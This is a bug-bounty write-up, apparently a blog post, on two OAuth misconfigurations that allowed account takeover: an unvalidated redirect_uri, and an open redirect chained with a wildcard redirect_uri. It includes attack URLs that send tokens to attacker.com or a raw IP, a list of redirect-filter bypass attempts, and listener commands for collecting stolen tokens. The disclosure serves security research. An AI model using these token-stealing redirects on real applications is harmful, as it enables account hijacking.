Hi, in this writeup I will talk about two misconfigured OAuth flaws I found while looking for bugs, without further ado let’s begin.
1) No validation for redirect_uri parameter
While walking through the app, I noticed that users have an option to connect their social media accounts to the application and it was obviously done using OAuth.
I started looking for bugs in OAuth implementation and quickly found that the state
parameter was missing.
For those who don’t know about state
parameter, think of it like a CSRF token which prevents against CSRF attacks.
In the case of OAuth, missing state
parameter could result in an account takeover. It gives an attacker the ability to connect his social media account to the victim’s account on an application and eventually takeover his account.
If you are not familiar with OAuth flow, I highly recommend to first learn about it.
Attack scenario
1. Attacker creates an account on this application and initiates OAuth flow by connecting his social media account.
2. He allows the OAuth provider to share data with the client application.
3. OAuth provider responds with a redirect that contains a code.
4. Instead of using this code to link his social media account, attacker preserves it and send the link with code to the victim or embed with an iframe on a website and send the link to the victim. (Look at the third step in the flow, a request is being sent to callback endpoint with a code)
5. When victim visits that site, attacker’s social media account is linked with victim’s account on client application.
6. An attacker could simply login to victim’s account using his linked social media account and then change email or do whatever he wants.
I went through the request’s history in burp and turns out that client application was sending a custom auth header with a token in the request which had the code to link social media account, this makes it unexploitable to CSRF attack.
X-AUTH: 12345678909876543210
I looked for OAuth implementation for all different social media providers and it was same on all of them, it wasn’t using state
parameter but the final request which connects the account had a custom auth header with a token that prevents CSRF attack.
I logged out from my account and it redirected me to the login page where I noticed the login with XYZ buttons, I checked for OAuth implementation on one of the OAuth providers and it was properly configured. I checked on another and it had a different implementation. It would send a request to api
endpoint (on the client app) along with a redirect_uri
parameter and then use this redirect_uri
to initiate OAuth flow.
https://client-app.com/api/oauth-provider?redirect_uri=https://client-app.com/login
Supplying arbitrary domain to redirect_uri
seemed to work.
https://client-app.com/api/oauth-provider?redirect_uri=https://attacker.com/
I logged into my VPS and ran python’s SimpleHTTPServer
to check if redirect_uri
parameter can be exploited to steal token
python -m SimpleHTTPServer 8080
on python 3 this would be
python3 -m http.server 8080
I supplied my VPS’s IP and the token showed up in logs
https://client-app.com/api/oauth-provider?redirect_uri=http://123.123.123.123:8080/
I tried to log in with this stolen token and it worked! I was able to login into the victim’s account.
https://client-app.com/login/{token}
If you don’t have a VPS or any website to log incoming traffic, you can simply use requestbin.com for such purposes.
Things to note:
- There was no server side validation on
redirect_uri
parameter. - This would only work if victim had an active session with the OAuth provider and already had linked his account with them.
2) Leveraging open redirect vulnerability to steal token
This was on another application, I was looking for bugs in OAuth implementation. On testing, state
parameter, redirect_uri
validation and everything seemed okay.
After spending some time on this application and browsing through other functionalities, I found an endpoint that caught my attention because it had r_url
(redirect) parameter
https://example.com/endpoint/r_url/{domain}
Supplying google.com to r_url
https://example.com/endpointr_url/google.com would redirect to google.com
I tried supplying attacker.com to check if it redirects to attacker.com, but it didn’t work.
https://example.com/endpoint/r_url/attacker.com
I tried supplying example.com
https://example.com/endpoint/r_url/example.com and it worked. It was allowing google.com but not attacker.com
I tried various techniques to bypass validation on r_url
https://example.com/endpoint/r_url//attacker.comDidn’t work.https://example.com/endpoint/r_url\/attacker.comDidn’t work.https://example.com/endpoint/r_url\/\/attacker.comDidn’t work.https://example.com/endpoint/r_url\\attacker.comDidn’t work.https://example.com/endpoint/r_url/\/attacker.comDidn’t work.https://example.com/endpoint/r_url/example.com.attacker.comDidn’t work.https://example.com/endpoint/r_url/notexample.comDidn’t work.https://example.com/endpoint/r_url/[email protected]This one worked and I was able redirected to attacker.com.
Now the mistake most people do is they find open redirect and try to report it (most programs don’t even consider them) instead of reporting open redirect, note it down somewhere and look for ways to chain it.
I went back to test OAuth implementation and it was sending a request which looked something like
https://oauth-provider.com/login?client_id=12345678&redirect_uri=https://example.com
As I’d tested this previously I knew it was properly configured and redirect_uri
can’t be bypassed, but what if we redirect to a page on this same application that redirects to the attacker’s domain?
The idea was to leverage the newly found open redirect flaw and redirect the victim to an attacker-controlled domain.
I tried this.
But it didn’t work.
URL encoding the value of redirect_uri
parameter
and it worked.
This was possible because redirect_uri
was configured to allow *.example.com/* (any page on example.com or its subdomain)
In this case, the open redirect flaw kinda acted like an intermediary or proxy to help an attacker steal the token.
I checked incoming traffic logs and found the token patiently waiting for me.
I hope you enjoyed reading this, if you have any questions feel free to DM me on Twitter @0xAkash.